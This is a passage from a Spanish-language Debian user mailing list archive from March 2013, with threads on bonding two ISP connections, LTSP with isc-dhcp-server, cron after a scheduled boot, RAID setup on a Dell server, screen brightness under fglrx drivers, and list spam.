sigues apretando, pues aparecerá la situación única en que lo > pueden conseguir... (...) Lo siento, no cuela... te lo dicen muy claramente: que sí lo permiten. Y que si quieres "afinar" más pues que contrates servicios adicionales, normal. También de su FAQ: *** Do I need the "Broadband Bonding Service" subscription with my Truffle Lite device? No. All Truffle devices will provide http downlink bonding and intelligent load-balancing for uplink and non-http traffic without requiring the monthly Broadband Bonding Service. Broadband Bonding Service will however provide additional bonding capability enabling bonding for all protocols in uplink and downlink. *** Que te están diciendo que solo lo hacen con HTTP, que no es real la suma del Ancho de Banda " provide http downlink bonding and intelligent load-balancing for uplink and non-http traffic", que con el resto hacen load-balancing, que eso no es sumar desde el punto de vista Peer-to-Peer, aunque sí desde el punto de vista de una LAN, que son muchas las conexiones que se realizan... > - Todos necesitarían montar algo en el Carrier, si es para acceso a > Internet, o si es Peer to Peer, montarlo en la oficina remota. Qué va, y gracias por preguntarles, ahora me queda mucho más claro y me gusta ver que ya hay varias soluciones en el mercado que lo permiten. Ala, pues a hacer las pruebas y después nos cuentas los resultados de las tasas de transferencia con uno y varios enlaces en uno de esos cacharros, en una descarga Peer-to-Peer con un FTP. (...) > En definitiva, y que no me lo saco de la manga, que si hacen Load > Balancing, si se les cae una de las WAN, siguen mandando el tráfico > por el resto de los enlaces WAN que tenga conectado el dispositivo, > por lo que aumentan la Tolerancia a Fallos. (...) No hablamos de eso sino de "sumar" anchos de banda para aumentar la velocidad de las descargas algo que ya es po
Re: dhcp3 en Squeeze
El día 18 de marzo de 2013 14:44, Kmilo Noa escribió: > > Hola lista, he estado instalando LTSP en Debian Squeeze, todo normal hats > al parte del DHCP3 el manual conque estaba trabajando dice que instale > este servidor, lo instalo pero no crea los archivos de configuración que > deben alojarse en /etc/dhcp3/ como lo hacía con Lenny, me pregunto si > puedo lograr la misma integración de LTSP con isc-dhcp-server. > > > > -- > To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org > with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org > Archive: > http://lists.debian.org/186fee8f589ca6509ef007d035e7fa67.squir...@webmail.fcom.uh.cu > Si -- MrIX Linux user number 412793. http://counter.li.org/ las grandes obras, las sueñan los santos locos, las realizan los luchadores natos, las aprovechan los felices cuerdo, y las critican los inútiles crónicos, -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/calvb54ygjk3tuqjntkoao2bfagoclqsahq_06azcblg93p8...@mail.gmail.com
Ayuda Crontab
Hola Lista. Tengo un server, el cual tengo que apagarlo a las 5 de la tarde y encenderlo a las 8 de la mañana. (TODOS LOS DIAS). Ya esto lo logré hacer. Para apagarlo por Crontab y para Encenderlo lo hice desde las opciones del SetUp. hasta aquí todo bien. Quiero lograr que cuando el server inicie a las 8 de la mañana, automáticamente también lo haga mi Crontab (facilitando la ejecución de todas las tareas programadas en el mismo) NO TENGO INTERNET. -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/55160.192.168.1.119.1363631791.squir...@www.correo.pinarte.cult.cu
Re: [Spam] Re: Adiós de nuestro boletÃn.
El 18 de marzo de 2013 11:32, Camaleón escribió: > > El Mon, 18 Mar 2013 11:08:14 -0300, Ricardo escribió: > > > El dÃa 18 de marzo de 2013 09:53, Rosa Aguero > > escribió: > >> > >> Adiós a nuestro boletÃn, lamentamos que se vaya. > > (...) > > > Hola Lista, alguien me puede decir por que me llegan estos correos > > raros.. llegan de la lista .. > > Se llama "spam" y el motivo por el que lo recibes no atiende más que a > una mera cuestión comercial ;-P > > Saludos, > > -- > Camaleón > > > -- > To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org > with a subject of "unsubscribe". Trouble? Contact > listmas...@lists.debian.org > Archive: http://lists.debian.org/ki78ht$noi$4...@ger.gmane.org > Yo tampoco entiendo nada sobre ese boletÃn. ¿Alguien sabe a que quieren referirse? -- Saludos **Hernan** -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/CAMeoBF1Ms1a0f0ndUDZkTt5uooY=xagn8qojdimfgn_g-ry...@mail.gmail.com
Re: 2 isp [ot]
El Mon, 18 Mar 2013 17:36:50 +0100, Ramses II escribió: > Buenas tardes, > > Perdón por no haber quitado los nombres... Personalmente no me gusta mandar a una lista pública contenido que parte de una conversación que se supone es privada, salvo en honrosas excepciones. Nunca se sabe O:-) (...) > - ¡Ay, Camaleón!, esta es la pregunta que les planteé a los 3, > evidentemente, a cada uno con su producto: (...) Leídos. Gracias por enviarlo, ya me parecía a mí que faltaban datos, pillín >:-) Y no me había fijado que al menos en el primero de los casos (el de la empresa Mushroom Networks) tienen una FAQ muy completa. Por ejemplo, en el caso del dispositivo de gama baja (Truffle Lite): *** https://www.mushroomnetworks.com/product/products.aspx?product_id=1002&tab=faqs Let's say I have 4 DSL lines with 6Mbps downlink speed each, after I install Internet load balancer, Truffle Lite, how fast will I be able to download files? Truffle Lite will aggregate all the 4 DSL lines that are connected to the WAN ports and file downloads will be around 4 x 6 = 24 Mbps. Truffle Lite can provide aggregate throughputs of up to 95Mbps. *** Responden a tu pregunta ;-) Pero qué quieres te diga, lo aclaran perfectamente en el correo que te mandan: muy completo y de agradecer por su parte, denota profesionalidad. > - Como ves, ellos te dicen al principio que sí, que a 40Mbps, pero si > los obligas a ceñirse a la situación planteada, que es si realmente se > suman o no, es decir, si desde un único punto (PC) puedes utilizar todo > el Ancho de Banda para descargar un único fichero (que sería la > situación real de que se suman los Anchos de Banda), ya empiezan a salir > "peros" y situaciones concretas en las que únicamente se podría. Y si > sigues apretando, pues aparecerá la situación única en que lo pueden > conseguir... (...) Lo siento, no cuela... te lo dicen muy claramente: que sí lo permiten. Y que si quieres "afinar" más pues que contrates servicios adicionales, normal. También de su FAQ: *** Do I need the "Broadband Bonding Service" subscription with my Truffle Lite device? No. All Truffle devices will provide http downlink bonding and intelligent load-balancing for uplink and non-http traffic without requiring the monthly Broadband Bonding Service. Broadband Bonding Service will however provide additional bonding capability enabling bonding for all protocols in uplink and downlink. *** > - Todos necesitarían montar algo en el Carrier, si es para acceso a > Internet, o si es Peer to Peer, montarlo en la oficina remota. Qué va, y gracias por preguntarles, ahora me queda mucho más claro y me gusta ver que ya hay varias soluciones en el mercado que lo permiten. (...) > En definitiva, y que no me lo saco de la manga, que si hacen Load > Balancing, si se les cae una de las WAN, siguen mandando el tráfico por > el resto de los enlaces WAN que tenga conectado el dispositivo, por lo > que aumentan la Tolerancia a Fallos. (...) No hablamos de eso sino de "sumar" anchos de banda para aumentar la velocidad de las descargas algo que ya es posible ;-) También hay un artículo (generalista) en Wikipedia: *** Broadband bonding http://en.wikipedia.org/wiki/Broadband_bonding Broadband bonding is a type of channel bonding that refers to aggregation of multiple channels at OSI layers at level four or above. Channels bonded can be wired links such as a T-1 or DSL line. Additionally, it is possible to bond multiple cellular links for an aggregated wireless bonded link. Previous bonding methodologies resided at lower OSI layers, requiring coordination with telecommunications companies for implementation. Broadband bonding, because it is implemented at higher layers, can be done without this coordination. *** Saludos, -- Camaleón -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/ki7hdm$noi$1...@ger.gmane.org
dhcp3 en Squeeze
Hola lista, he estado instalando LTSP en Debian Squeeze, todo normal hats al parte del DHCP3 el manual conque estaba trabajando dice que instale este servidor, lo instalo pero no crea los archivos de configuración que deben alojarse en /etc/dhcp3/ como lo hacía con Lenny, me pregunto si puedo lograr la misma integración de LTSP con isc-dhcp-server. -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/186fee8f589ca6509ef007d035e7fa67.squir...@webmail.fcom.uh.cu
RE: 2 isp [ot]
Buenas tardes, Perdón por no haber quitado los nombres... -Mensaje original- De: Camaleón [mailto:noela...@gmail.com] Enviado el: lunes, 18 de marzo de 2013 15:30 Para: debian-user-spanish@lists.debian.org Asunto: Re: 2 isp [ot] El Mon, 18 Mar 2013 13:45:48 +0100, Ramses II escribió: (corrijo las citas) > ¿Seguro que un server en Internet va a mandar un cachito del > fichero a cada una de las 2 IP Públicas distintas?. Si te interesa esa tecnología, pregunta a las empresas que han desarrollado esos productos a ver qué te dicen ;-) >>> >>> * Planteada la duda de la suma a los fabricantes. A ver si >>> contestan... > >> Perfecto. Ya nos dirás con quién has contactado y qué te responden >> X-) > --- > > Bien, pues respondieron los tres a los que pregunté, que son los > enlaces que pusiste. > > A los tres les pregunté por la misma situación que plantee aquí, la de > si un único fichero se descargaría por los dos enlaces a la vez > sumando así el ancho de banda de ambas ADSL's, y respondieron lo siguiente: > - ¡Ay, Camaleón!, esta es la pregunta que les planteé a los 3, evidentemente, a cada uno con su producto: Dear gentlemen, I want to raise you a technical doubt that I have with your XX product. I explain you one situation. For example, I have: - Two ADSL links of different ISPs that both are connected to Internet. Those ADSL links have 20Mbps of downloads band width. Both links are connected to a XX device. - One PC in the LAN. - One file with a size of 100Mb allocated in a server in Internet. The doubt is: If I download this file from the PC It will be downloaded with a bandwidth of 40Mbps or at a bandwidth of 20Mbps? In other words, the traffic of the download is directed (balanced) by one of the two links (20Mbps) or it's directed by the two links (20Mbps+20Mbps = 40Mbps). > > - Los de http://www.mushroomnetworks.com/: > (quito el nombre/correo) > For those types of traffic to be bonded, you will need a peering node, > either at a data center, or as a service from us (Broadband Bonding > Service), as it is technically impossible with them for non-http > traffic. > > Please let me know if you need additional information or if you have > any questions. > > -jay For those types of traffic to be bonded, you will need a peering node, either at a data center, or as a service from us (Broadband Bonding Service), as it is technically impossible with them for non-http traffic. Please let me know if you need additional information or if you have any questions. -jay Cahit, very thanks by your answer. Let me another question, please: Why only with http downloads and not with ftp or another traffics? Best regards, Ramses De: Cahit Enviado el: jueves, 14 de marzo de 2013 17:46 Para: Ramses Asunto: Re: Technical doubt about Truffle device (Broadband Bonding Network Appliance). Hello Ramses, Short answer is 40Mbps for http downloads. Our devices have 2 operational modes. 1) Standalone mode: In this mode, our Truffle appliances will bond all http downlink traffic. As an example if you were to download a file behind the Truffle device which has 4 ADSL lines plugged in with 6Mbps speed each. Your download speed would be around 24Mbps even for that single file download. For all other traffic, our device will implement the "intelligent load-balancing" where the Truffle device will distribute the different Internet sessions, on various WAN links on a session by session basis. Truffle will keep the application semantics in tact, by making sure the sessions from certain applications are kept on the same WAN line, such as banking sites, where a blind load-balancing would break the application. 2) Peered mode: When Truffle is peered with another Truffle device with a VLL server license over the Internet (let's say a branch office and a headquarter office), the two units create a virtual leased line connection between them over the bonded pipe. In this mode downlink and uplink is bonded for all types of Internet traffic. Peered mode can also be achieved by our monthly subscription service: Broadband Bonding Service (BBS). BBS is optional and let's the customer Truffle device peer with one of our data centers to enable bonding for all protocols. As I mentioned, BBS is an optional add-on service. I am attaching the brochure for Truffle and Truffle Lite. In case your project
Re: Servidor dell con raid 0
El Mon, 18 Mar 2013 11:00:20 -0500, Carlos Eduardo Sotelo Pinto escribió:
> El 18 de marzo de 2013 10:43, Camaleón escribió:
(...)
>> Me parece que no, que NO cuenta con fake-raid. ¿Qué controladora monta,
>> ya lo has mirado?
>
> Hmm,. haber, esto entendí desde que se puede configurar el raid desde l
> bios, por esta razon no hemos podido aun configurarlo, ahora que leo
> esa informacion, y tus correos, ademas de conversar con el cliente hemos
> optado por la opcion de raid 1 por software
(...)
Pues pensadlo dos veces porque si la controladora es harwdare raid (de
las "decentes") te puede convenir usar esta opción en lugar de md ya que
su gestión es más "transparente" (ambas soluciones tienen pros y contras).
El nivel de RAID es ya cosa tuya :-)
En resumen:
- Para usar las capacidades de la controladora RAID tienes que configurar
la BIOS con el nivel de RAID que quieres (0, 1 o 10... según admita y
según necesites) y después tienes que instalar el driver que te he dicho
en el primer correo ("mpt2sas") para que sólo te reconozca un único disco.
- Para usar software raid de Linux (md) tienes que configurar en la BIOS
el modo AHCI (preferible) para los discos y en la fase de instalación
seleccionar el RAID que quieras con los discos que quieras.
Saludos,
--
Camaleón
--
To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org
Archive: http://lists.debian.org/ki7ear$noi$1...@ger.gmane.org
Re: Servidor dell con raid 0
El 18 de marzo de 2013 10:43, Camaleón escribió: > El Mon, 18 Mar 2013 10:32:42 -0500, Carlos Eduardo Sotelo Pinto escribió: > > Carlos, cuando mandes un mensaje a la lista recuerda: > > 1/ Desactivar el html > 2/ No hacer top-posting > > (corrigiendo...) > >> 2013/3/18 Camaleón > > (...) > >>> Chico, no te entiendo... ¿quieres instalar un RAID 1 usando las >>> características de tu controladora hardware raid o qué es lo que vas a >>> hacer exactamente? >>> >>> Si usas md (raid de linux) no necesitas activar el RAID en la BIOS. Si >>> quieres usar tu controladora "a full" entonces sí. >> >> camaleon, me referia >> >> >>1. mensajes recibidos > > Pues... te lo habrá enviado a ti solo porque yo no veo ningún mensaje más > que los tuyos y los míos: > > http://lists.debian.org/debian-user-spanish/2013/03/threads.html#00481 > >>2. me referia a lo que escribio kamilo de usar raid1 en lugar de 0, >>en realidad no tengo nada de experiencia en ello, fue un req del >>cliente ya que cuenta con la arquitectura para ello, ademas de ser un >>servidor critico, por esto opte por el raid 1 > > Vale, pero dependiendo de la cantidad de discos que tengas conectados te > puede convenir otro nivel de RAID (el nivel 6 por ejemplo se suele usar > cuando tienes varios discos para dar mayor redundancia). No todas las > controladoras lo permiten pero el RAID por software sí. > >>3. el servidor cuenta con fake raid y lo configure pero cual me >>recomeindan entonces, el fake raid o raid por software > > Me parece que no, que NO cuenta con fake-raid. ¿Qué controladora monta, > ya lo has mirado? Hmm,. haber, esto entendí desde que se puede configurar el raid desde l bios, por esta razon no hemos podido aun configurarlo, ahora que leo esa informacion, y tus correos, ademas de conversar con el cliente hemos optado por la opcion de raid 1 por software > personalmente prefiero: > > 1/ Hardware RAID > 2/ Software raid (md) > 3/ Nada :-) > 4/ Fake-RAID cuando no hay más remedio (p. ej., multiboot con windows) Esta información me sirve de mucho Saludos -- Carlos Eduardo Sotelo Pinto | http://carlossotelo.com | csotelo@twitter GNU Linux Admin | PHP Senior Web Developer Mobil: RPC (Claro)+51, 958194614 | Mov: +51, 959980794 GTalk: carlos.sotelo.pi...@gmail.com | Skype: csotelop MSN: carlos.sotelo.pi...@gmail.com | Yahoo: csotelop GNULinux RU #379182 | GNULinux RM #277661 GPG FP:697E FAB8 8E83 1D60 BBFB 2264 9E3D 5761 F855 4F6B -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/CAEhw=e-vflgoc4arncmcbaqtbzth27-wb721updx0sz20em...@mail.gmail.com
Re: Servidor dell con raid 0
El Mon, 18 Mar 2013 10:32:42 -0500, Carlos Eduardo Sotelo Pinto escribió: Carlos, cuando mandes un mensaje a la lista recuerda: 1/ Desactivar el html 2/ No hacer top-posting (corrigiendo...) > 2013/3/18 Camaleón (...) >> Chico, no te entiendo... ¿quieres instalar un RAID 1 usando las >> características de tu controladora hardware raid o qué es lo que vas a >> hacer exactamente? >> >> Si usas md (raid de linux) no necesitas activar el RAID en la BIOS. Si >> quieres usar tu controladora "a full" entonces sí. > > camaleon, me referia > > >1. mensajes recibidos Pues... te lo habrá enviado a ti solo porque yo no veo ningún mensaje más que los tuyos y los míos: http://lists.debian.org/debian-user-spanish/2013/03/threads.html#00481 >2. me referia a lo que escribio kamilo de usar raid1 en lugar de 0, >en realidad no tengo nada de experiencia en ello, fue un req del >cliente ya que cuenta con la arquitectura para ello, ademas de ser un >servidor critico, por esto opte por el raid 1 Vale, pero dependiendo de la cantidad de discos que tengas conectados te puede convenir otro nivel de RAID (el nivel 6 por ejemplo se suele usar cuando tienes varios discos para dar mayor redundancia). No todas las controladoras lo permiten pero el RAID por software sí. >3. el servidor cuenta con fake raid y lo configure pero cual me >recomeindan entonces, el fake raid o raid por software Me parece que no, que NO cuenta con fake-raid. ¿Qué controladora monta, ya lo has mirado? personalmente prefiero: 1/ Hardware RAID 2/ Software raid (md) 3/ Nada :-) 4/ Fake-RAID cuando no hay más remedio (p. ej., multiboot con windows) Saludos, -- Camaleón -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/ki7cn1$noi$9...@ger.gmane.org
Re: Servidor dell con raid 0
camaleon, me referia 1. mensajes recibidos 2. me referia a lo que escribio kamilo de usar raid1 en lugar de 0, en realidad no tengo nada de experiencia en ello, fue un req del cliente ya que cuenta con la arquitectura para ello, ademas de ser un servidor critico, por esto opte por el raid 1 3. el servidor cuenta con fake raid y lo configure pero cual me recomeindan entonces, el fake raid o raid por software saludos 2013/3/18 Camaleón > El Mon, 18 Mar 2013 10:07:03 -0500, Carlos Eduardo Sotelo Pinto escribió: > > (corrijo el top-posting) > > > 2013/3/18 Camaleón > > > >> El Mon, 18 Mar 2013 09:20:23 -0500, Carlos Eduardo Sotelo Pinto > >> escribió: > >> > >> > Hola gente > >> > >> (ese html...) > >> > >> > Tengo este servidor > >> > http://www.dell.com/us/enterprise/p/poweredge-r210/pd el cual viene > >> > con disco de instalacion para re hat, sin embargo no estoy muy > >> > familiariazdo, he buscado algunos tutoriales de como hacer el raid 0 > > (...) > > >> Pero vas a tener suerte... si se trata de una PERC-H200 Google¹ nos > >> dice que no se trata de eso sino que necesitas en módulo "mpt2sas" para > >> que te la detecte correctamente. > >> > >> Asegúrate primero de qué chipset usa la controladora. > > (...) > > > Gracias por sus comentario, pero hasta ahora,creo que me convencio el > > uso del raid 1 por el comentario de camilo, y le uso de fake reaid > > No veo ningún comentario... > > Usa el nivel de RAID que necesites dependiendo de la configuración que > tengas y lo que quieras obtener (rapidez, seguridad...) eso ya es cosa > tuya :-) > > Por otra parte, para un servidor me olvidaría del "fake-raid", te va a > dar más problemas que ventajas. > > > Por otro lado , ya me decidi en ello, > > ¿A qué te decidiste, exactamente? > > > pero tengo esta opcion en las configuraciones del bios, camaleon, es > > correcto hacerlo ahi o mejor hacerlo con software con el mdadm > > Chico, no te entiendo... ¿quieres instalar un RAID 1 usando las > características de tu controladora hardware raid o qué es lo que vas a > hacer exactamente? > > Si usas md (raid de linux) no necesitas activar el RAID en la BIOS. Si > quieres usar tu controladora "a full" entonces sí. > > Saludos, > > -- > Camaleón > > > -- > To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org > with a subject of "unsubscribe". Trouble? Contact > listmas...@lists.debian.org > Archive: http://lists.debian.org/ki7att$noi$7...@ger.gmane.org > > -- Carlos Eduardo Sotelo Pinto | http://carlossotelo.com | csotelo@twitter GNU Linux Admin | PHP Senior Web Developer Mobil: RPC (Claro)+51, 958194614 | Mov: +51, 959980794 GTalk: carlos.sotelo.pi...@gmail.com | Skype: csotelop MSN: carlos.sotelo.pi...@gmail.com | Yahoo: csotelop GNULinux RU #379182 | GNULinux RM #277661 GPG FP:697E FAB8 8E83 1D60 BBFB 2264 9E3D 5761 F855 4F6B
Re: imposible reducir el brillo de la pantalla
El Mon, 18 Mar 2013 16:17:52 +0100, Eduardo Rios escribió: > El 18/03/13 15:13, Camaleón escribió: >> Si te refieres a los controladores libres (radeon) ese cuelgue deberías >> notificarlo para que en caso de que se trate de un bug lo puedan >> corregir cuanto antes. > Muchas gracias por tu respuesta. Me refería a los drivers propietarios > (fglrx), pero los del repositorio. Entendido. >> Con los controladores propietarios va a ser complicado que lo puedas >> poner en un informe de fallo, el menos no en Debian (tendrías que >> notificar este problema a AMD/ATI). > Los propietarios, pero de la Web de AMD, no me están dando problemas > (vale que son los estables, con los beta... ni me atrevo) :-P Es normal, ten en cuenta que los drivers propietarios que hay en Debian suelen ser versiones más antiguas del controlador. >> Hum... entonces es que estás usando el driver Intel, no el de ATI ¿no? >> :-? > No. Es curioso, se cargan los drivers fglrx, tengo el fichero > /etc/X11/xorg.conf, y en la aplicación "Detalles" de Gnome3, me informa > que se están usando los gráficos AMD Radeon HD 6700M Series, pero > tocando el fichero de configuración de la gráfica Intel, es la única > manera con la que puedo bajar/subir el brillo de la pantalla. Entonces sólo puedo decir: ¡carallo! :-D > El por que, no lo sé, pero funciona, que es lo importante :-P Está curioso, sí... quizá ese valor esté enlazado de alguna forma con otro. Mira a ver si tienes algo en "/sys/devices/virtual/backlight/..." Saludos, -- Camaleón -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/ki7bt4$noi$8...@ger.gmane.org
Re: imposible reducir el brillo de la pantalla
Perdón, no sé por que se han quedado tan juntas mis respuestas a las tuyas. -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/51473161.9020...@yahoo.es
Re: imposible reducir el brillo de la pantalla
El 18/03/13 15:13, Camaleón escribió: Si te refieres a los controladores libres (radeon) ese cuelgue deberías notificarlo para que en caso de que se trate de un bug lo puedan corregir cuanto antes. Muchas gracias por tu respuesta. Me refería a los drivers propietarios (fglrx), pero los del repositorio. Con los controladores propietarios va a ser complicado que lo puedas poner en un informe de fallo, el menos no en Debian (tendrías que notificar este problema a AMD/ATI). Los propietarios, pero de la Web de AMD, no me están dando problemas (vale que son los estables, con los beta... ni me atrevo) :-P Hum... entonces es que estás usando el driver Intel, no el de ATI ¿no? :-? No. Es curioso, se cargan los drivers fglrx, tengo el fichero /etc/X11/xorg.conf, y en la aplicación "Detalles" de Gnome3, me informa que se están usando los gráficos AMD Radeon HD 6700M Series, pero tocando el fichero de configuración de la gráfica Intel, es la única manera con la que puedo bajar/subir el brillo de la pantalla. El por que, no lo sé, pero funciona, que es lo importante :-P -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/51473020.1000...@yahoo.es
Re: Servidor dell con raid 0
El Mon, 18 Mar 2013 10:07:03 -0500, Carlos Eduardo Sotelo Pinto escribió: (corrijo el top-posting) > 2013/3/18 Camaleón > >> El Mon, 18 Mar 2013 09:20:23 -0500, Carlos Eduardo Sotelo Pinto >> escribió: >> >> > Hola gente >> >> (ese html...) >> >> > Tengo este servidor >> > http://www.dell.com/us/enterprise/p/poweredge-r210/pd el cual viene >> > con disco de instalacion para re hat, sin embargo no estoy muy >> > familiariazdo, he buscado algunos tutoriales de como hacer el raid 0 (...) >> Pero vas a tener suerte... si se trata de una PERC-H200 Google¹ nos >> dice que no se trata de eso sino que necesitas en módulo "mpt2sas" para >> que te la detecte correctamente. >> >> Asegúrate primero de qué chipset usa la controladora. (...) > Gracias por sus comentario, pero hasta ahora,creo que me convencio el > uso del raid 1 por el comentario de camilo, y le uso de fake reaid No veo ningún comentario... Usa el nivel de RAID que necesites dependiendo de la configuración que tengas y lo que quieras obtener (rapidez, seguridad...) eso ya es cosa tuya :-) Por otra parte, para un servidor me olvidaría del "fake-raid", te va a dar más problemas que ventajas. > Por otro lado , ya me decidi en ello, ¿A qué te decidiste, exactamente? > pero tengo esta opcion en las configuraciones del bios, camaleon, es > correcto hacerlo ahi o mejor hacerlo con software con el mdadm Chico, no te entiendo... ¿quieres instalar un RAID 1 usando las características de tu controladora hardware raid o qué es lo que vas a hacer exactamente? Si usas md (raid de linux) no necesitas activar el RAID en la BIOS. Si quieres usar tu controladora "a full" entonces sí. Saludos, -- Camaleón -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/ki7att$noi$7...@ger.gmane.org
Re: Servidor dell con raid 0
Gracias por sus comentario, pero hasta ahora,creo que me convencio el uso del raid 1 por el comentario de camilo, y le uso de fake reaid Por otro lado , ya me decidi en ello, pero tengo esta opcion en las configuraciones del bios, camaleon, es correcto hacerlo ahi o mejor hacerlo con software con el mdadm gracias 2013/3/18 Camaleón > El Mon, 18 Mar 2013 09:20:23 -0500, Carlos Eduardo Sotelo Pinto escribió: > > > Hola gente > > (ese html...) > > > Tengo este servidor > > http://www.dell.com/us/enterprise/p/poweredge-r210/pd el cual viene con > > disco de instalacion para re hat, sin embargo no estoy muy > > familiariazdo, he buscado algunos tutoriales de como hacer el raid 0 ( > > el server se configura desde bios con raid 0 ) pero al momento de > > instaar > > no me reconoce el raid, y muestra dos discos, ¿alguien ha tenido > > experiencia con esto? Lo que busco es que el instalador de debian me > > reconozca los discos en raid0 como un uico disco en lugar de dos por > > separadp > > Cuando te pasa eso es que se trata de un "fake-raid" no de una > controladora "hardware-raid" por lo que en el caso de necesitar un nivel > de RAID 0 te convendría usar el de linux (md) en su lugar o comprar una > controladora de harware de las buenas → $$$ > > Pero vas a tener suerte... si se trata de una PERC-H200 Google¹ nos dice > que no se trata de eso sino que necesitas en módulo "mpt2sas" para que > te la detecte correctamente. > > Asegúrate primero de qué chipset usa la controladora. > > ¹ > http://nanaki.affenfelsen.de/wordpress/2010/09/25/dells-perc-h200-raidcontroller-and-debian-squeeze/ > > Saludos, > > -- > Camaleón > > > -- > To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org > with a subject of "unsubscribe". Trouble? Contact > listmas...@lists.debian.org > Archive: http://lists.debian.org/ki79be$noi$6...@ger.gmane.org > > -- Carlos Eduardo Sotelo Pinto | http://carlossotelo.com | csotelo@twitter GNU Linux Admin | PHP Senior Web Developer Mobil: RPC (Claro)+51, 958194614 | Mov: +51, 959980794 GTalk: carlos.sotelo.pi...@gmail.com | Skype: csotelop MSN: carlos.sotelo.pi...@gmail.com | Yahoo: csotelop GNULinux RU #379182 | GNULinux RM #277661 GPG FP:697E FAB8 8E83 1D60 BBFB 2264 9E3D 5761 F855 4F6B
Re: Servidor dell con raid 0
El Mon, 18 Mar 2013 09:20:23 -0500, Carlos Eduardo Sotelo Pinto escribió: > Hola gente (ese html...) > Tengo este servidor > http://www.dell.com/us/enterprise/p/poweredge-r210/pd el cual viene con > disco de instalacion para re hat, sin embargo no estoy muy > familiariazdo, he buscado algunos tutoriales de como hacer el raid 0 ( > el server se configura desde bios con raid 0 ) pero al momento de > instaar > no me reconoce el raid, y muestra dos discos, ¿alguien ha tenido > experiencia con esto? Lo que busco es que el instalador de debian me > reconozca los discos en raid0 como un uico disco en lugar de dos por > separadp Cuando te pasa eso es que se trata de un "fake-raid" no de una controladora "hardware-raid" por lo que en el caso de necesitar un nivel de RAID 0 te convendría usar el de linux (md) en su lugar o comprar una controladora de harware de las buenas → $$$ Pero vas a tener suerte... si se trata de una PERC-H200 Google¹ nos dice que no se trata de eso sino que necesitas en módulo "mpt2sas" para que te la detecte correctamente. Asegúrate primero de qué chipset usa la controladora. ¹http://nanaki.affenfelsen.de/wordpress/2010/09/25/dells-perc-h200-raidcontroller-and-debian-squeeze/ Saludos, -- Camaleón -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/ki79be$noi$6...@ger.gmane.org
Re: [Noticia] Mayor integración de los backports a partir de Wheezy
El Mon, 18 Mar 2013 11:16:52 -0300, Sergio Bessopeanetto escribió: > El 18/03/13 11:06, Camaleón escribió: >> Acabo de leer esta nota en la lista "devel-announce": >> >> Backports integrated into the main archive >> http://lists.debian.org/debian-devel-announce/2013/03/msg7.html (...) > ¿Eso significa que una vez que sea estable tendrá la posibilidad de > actualizar paquetes a medida que salgan versiones nuevas al estilo de > las derivadas de Debian? Bueno, eso ya lo puedes hacer ahora ;-) No, no es una integración al 100% (hay que leer la nota) sino que afecta más bien al proceso de gestión de los paquetes (se unifican las colas en el servidor, el proceso de empaquetamiento...) por lo que la medida está más enfocada a los desarrolladores/empaquetadores). Saludos, -- Camaleón -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/ki78pk$noi$5...@ger.gmane.org
[Spam] Re: Adiós de nuestro boletÃn.
El Mon, 18 Mar 2013 11:08:14 -0300, Ricardo escribió: > El dÃa 18 de marzo de 2013 09:53, Rosa Aguero > escribió: >> >> Adiós a nuestro boletÃn, lamentamos que se vaya. (...) > Hola Lista, alguien me puede decir por que me llegan estos correos > raros.. llegan de la lista .. Se llama "spam" y el motivo por el que lo recibes no atiende más que a una mera cuestión comercial ;-P Saludos, -- Camaleón -- To UNSUBSCRIBE, email to debian-user-spanish-requ...@lists.debian.org with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org Archive: http://lists.debian.org/ki78ht$noi$4...@ger.gmane.org
Re: 2 isp [ot]
